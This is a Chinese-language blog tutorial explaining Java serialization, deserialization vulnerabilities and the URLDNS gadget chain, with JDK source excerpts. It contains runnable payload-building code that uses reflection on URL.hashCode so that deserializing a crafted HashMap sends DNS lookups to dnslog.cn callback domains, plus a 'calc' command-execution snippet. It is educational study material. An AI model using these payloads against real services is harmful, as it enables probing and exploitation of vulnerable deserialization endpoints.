java反序列化和序列化&URLDNS链

1
2
3
参考https://github.com/bfengj/CTF/blob/main/Web/java/Java%E5%9F%BA%E7%A1%80/Java-%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0.md
https://sun1028.top/2025/09/14/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96urldns%e9%93%be/
https://blog.csdn.net/mocas_wang/article/details/107621010

序列化与反序列化

Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例

为什么

当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。

相关的方法

ObjectOutputStream 类的 writeObject() 方法可以实现序列化。(标准约定是给文件一个 .ser 扩展名)

ObjectInputStream 类的 readObject() 方法用于反序列化

前提

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常) ,而且所有属性必须是可序列化的(transient 关键字修饰的属性除外,不参与序列化过程)

image-20260130134325801

Serializable接口如下

1
2
public interface Serializable {
}

可以发现这是一个空接口,因此这仅仅是一个标识接口,意味着实现了这个接口的类可以进行序列化/反序列化。

Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。

Externalizable接口

1
public interface Externalizable extends java.io.Serializable {

发现这个是继承Serializable接口的接口,不过这个接口使用起来是有点麻烦

1
2
3
4
我们需要手动编写 writeExternal()方法和readExternal()方法 , 这两个方法将取代定制好的 writeObject()方法和 readObject()方法 .
那什么时候会使用 Externalizable 接口呢 ? 当我们仅需要序列化类中的某个属性 , 此时就可以通过 Externalizable 接口中的 writeExternal() 方法来指定想要序列化的属性 . 同理 , 如果想让某个属性被反序列化 , 通过 readExternal() 方法来指定该属性就可以了.

此外 , Externalizable 序列化/反序列化还有一些其他特性 , 比如 readExternal() 方法在反序列化时会调用默认构造函数 , 实现 Externalizable 接口的类必须要提供一个 Public 修饰的无参构造函数等等

一般都是去使用Serializable这个接口

ObjectOutputStream

简介

1
2
3
4
5
6
7
8
ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream。 可以使用ObjectInputStream读取(重构)对象。 可以通过使用流的文件来完成对象的持久存储。 如果流是网络套接字流,则可以在另一个主机或另一个进程中重新构建对象。
只有支持java.io.Serializable接口的对象才能写入流。 每个可序列化对象的类都被编码,包括类的类名和签名,对象的字段和数组的值,以及从初始对象引用的任何其他对象的闭包。

writeObject方法用于将对象写入流。 任何对象,包括字符串和数组,都是用writeObject编写的。 可以将多个对象或基元写入流中。 必须从相应的ObjectInputstream中读取对象,这些对象具有与写入时相同的类型和顺序。

也可以使用DataOutput中的适当方法将原始数据类型写入流中。 也可以使用writeUTF方法编写字符串。

对象的默认序列化机制会写入对象的类,类签名以及所有非瞬态和非静态字段的值。 对其他对象的引用(瞬态或静态字段除外)也会导致这些对象被写入。 使用引用共享机制对对单个对象的多个引用进行编码,以便可以将对象的图形恢复为与写入原始图像时相同的形状。

关键点就在它的writeObject方法,将对象写入数据流中,说白一点就是将对象序列化。还需要注意,静态字段是不会被序列化的,后面的代码中也会提到这个。

ObjectInputStream

ObjectOutputStream相反,可以将数据流重构成对象。

1
ObjectInputStream 类在重构对象时会从本地 JVM 虚拟机中加载对应的类 , 以确保重构时使用的类与被序列化的类是同一个 . 也就是说 : 反序列化进程的 JVM 虚拟机中必须加载被序列化的类 .
1
2
3
4
public final Object readObject()
throws IOException, ClassNotFoundException {
return readObject(Object.class);
}

具体的实现就不用去管了,可以看到它的返回值是Object,因此还需要通过强制类型转换成预期的类型。

具体实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;

import java.io.*;

// 1. 必须实现 Serializable 接口
class User implements Serializable { // 建议手动定义版本号
public String name;

public User(String name) {
this.name = name;
}
}

public class SerializationDemo {
public static void main(String[] args) {
User user = new User("Wea5e1");

// 2. 序列化操作
try (FileOutputStream fos = new FileOutputStream("user.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {

oos.writeObject(user); // 将对象写入字节流
System.out.println("序列化成功!");
System.out.println(user);

} catch (IOException e) {
e.printStackTrace();
}

// 3. 反序列化操作
try (FileInputStream fis = new FileInputStream("user.ser");
ObjectInputStream ois = new ObjectInputStream(fis)) {

User deserializedUser = (User) ois.readObject(); // 从字节流恢复对象
System.out.println("反序列化出的用户名为: " + deserializedUser.name);

} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}

image-20260130140835310

代码的逻辑非常简单,就是把Wea5e1去写入到user,ser文件里面,然后去通过反序列化去读取出来

image-20260130141320674

我们可以看到 整个大致的流程就是指把Java对象转换为字节序列的过程然后去通过反序列化把字节序列恢复为Java对象的过程。

整个过程没有任何的问题,序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码

Java反序列化漏洞

什么是反序列化漏洞?

Java反序列化了被恶意修改序列化对象(须是服务器中存在的对象或者依赖包中的对象)。

根据官方的解释

任何实现Serializable接口的Class都可以定义自己的readObject()方法,只要在重写方法的同时执行了defaultReadObject()方法即可。这样在反序列化的时候会自动invoke该Class下自己定义的readObject()方法。官方可能是想让开发的时候更加灵活一点

那么我们可以为Class重写一个它自己的readObject()的方法,里面带有恶意执行代码,让Java去反序列化这个我们修改后的Object,这样readObject()被执行的时候,恶意代码也就被执行了。

这里去引用白日梦想家师傅的课件

1
https://www.bilibili.com/video/BV16h411z7o9/?spm_id_from=333.337.search-card.all.click&vd_source=a6499c8d882cb6d106922aae77725c31

image-20260130143421020

1
2
3
4
5
6
try (FileInputStream fis = new FileInputStream("user.ser");
ObjectInputStream ois = new ObjectInputStream(fis)) {

User deserializedUser = (User) ois.readObject(); // 从字节流恢复对象
Runtime.getRuntime().exec("calc");
System.out.println("反序列化出的用户名为: " + deserializedUser.name);

这里我们去添加了可以去命令执行的操作,但是实际里面开发根本不会去使用,因此我们需要去考虑java自己带的。

URLDNS链

这个也是最基础最简单的链子,利用 java 内置类构造,对第三方没有任何依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap ht = new HashMap();
String url = "http://ehmruy.dnslog.cn";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null,url,handler);
ht.put(u,url);
//Reflection
Class clazz = Class.forName("java.net.URL");
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
byte[] bytes = serialize(ht);
unserialize(bytes);
}
public static byte[] serialize(Object o) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeObject(o);
byte[] bytes = bout.toByteArray();
oout.close();
bout.close();
return bytes;
}
public static Object unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bin);
return oin.readObject();
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

URLDNS 利用链路

1
2
3
4
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
Url.hashCode()

首先,在java里面去进行DNS请求,需要实现的类是URL这个类,

1
2
public final class URL implements java.io.Serializable {
发现URl继承了ser这个接口

然后去找常见的函数,hashcode()这个函数

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

发现在调用handler.hashCode(this);,跟进这个hashCode,发现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

发现getHostAddress(u);,根据域名去获得地址,也就是去发送DNS请求

1
Url.hashCode() -> URLStreamHandler.getHostAddress

至于入口类,应该是重写readObject调用常见的函数参数类型宽泛最好jdk自带,直接就是个map,这里去选择HashMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {

ObjectInputStream.GetField fields = s.readFields();

// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor: " + lf);

lf = Math.clamp(lf, 0.25f, 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);

reinitialize();

s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {
throw new InvalidObjectException("Illegal mappings count: " + mappings);
} else if (mappings == 0) {
// use defaults
} else if (mappings > 0) {
double dc = Math.ceil(mappings / (double)lf);
int cap = ((dc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(dc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)dc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);

// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

而在readObject.hash -> hashCode() 至此成功闭合

1
HashMap.readObject.hash -> hashCode() -> Url.hashCode() -> URLStreamHandler.getHostAddress

链子也是非常简单

1
2
3
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>(); //去new一个hasgmap
hashmap.put(new URL("http://bcnknf.dnslog.cn"),1);//put URL
serialize(hashmap); //去序列化

不过我们发现image-20260130154210150

然后我们会去发现有两个,我们就会发现其实是序列化的自己去进行了DNS请求,而且反序列化并没有去执行

image-20260130154445482

问题在哪里呢

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

跟进put,发现put -> putVal -> hash -> hashcode

而且

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

在这里hashCode != -1 !-> handler.hashCode(this); 不过hashCode在初始化的时候就成为了-1,然后当我去put的时候,他就是不是-1了,而是去变成了url的code了,那我反序列化的时候也不是-1,因此根本就没有走到

因此,这个代码有两个问题去解决

1
2
3
4
5
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL("http://nd9ogg.dnslog.cn"),1);
//这里不要发起请求
serialize(hashmap);
//改回-1 //改变属性,不就是利用反射吗

这里就是通过反射去设置haCode = -1 或者等于其他的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Ser {
public static void main(String[] args) throws Exception {
// 1. 初始化 HashMap 和 URL
HashMap<URL, Integer> map = new HashMap<>();
URL url = new URL("http://pwhsbk.dnslog.cn"); // 替换为你的 DNSLog 地址

// 2. 获取 hashCode 字段并设置权限
Class<?> clazz = url.getClass();
Field hashCodeField = clazz.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);

// 3. 【关键】在 put 之前将 hashCode 设置为非 -1(比如 123)
// 这样 HashMap 在 put 时发现 hashCode 不是 -1,就不会触发 DNS 查询
hashCodeField.set(url, 123);

// 4. 将 URL 放入 HashMap
map.put(url, 1);

// 5. 【关键】put 结束后,将 hashCode 改回 -1
// 这样在反序列化调用 hashCode() 时,发现是 -1,就会重新触发 DNS 查询
hashCodeField.set(url, -1);

// 6. 执行序列化与反序列化
ser(map); // 注意:这里序列化的是整个 HashMap
unser();
}

// 修正后的 ser 方法:接收一个 Object
public static void ser(Object o) throws IOException {
System.out.println("序列化开始");
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"))) {
oos.writeObject(o);
}
System.out.println("序列化结束");
}

// 修正后的 unser 方法:返回 Object
public static void unser() throws IOException, ClassNotFoundException {
System.out.println("反序列化开始");
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"))) {
Object o = ois.readObject(); // 触发 HashMap.readObject() -> URL.hashCode()
System.out.println("反序列化完成,对象类型: " + o.getClass().getName());
}
System.out.println("反序列化结束");
}
}

有人问了,反射有点乱怎么办(其实是我问的),来个图片就知道了

补充:反射

image-20260130160232114

趁热打铁,抓紧时间去看看CC1链子了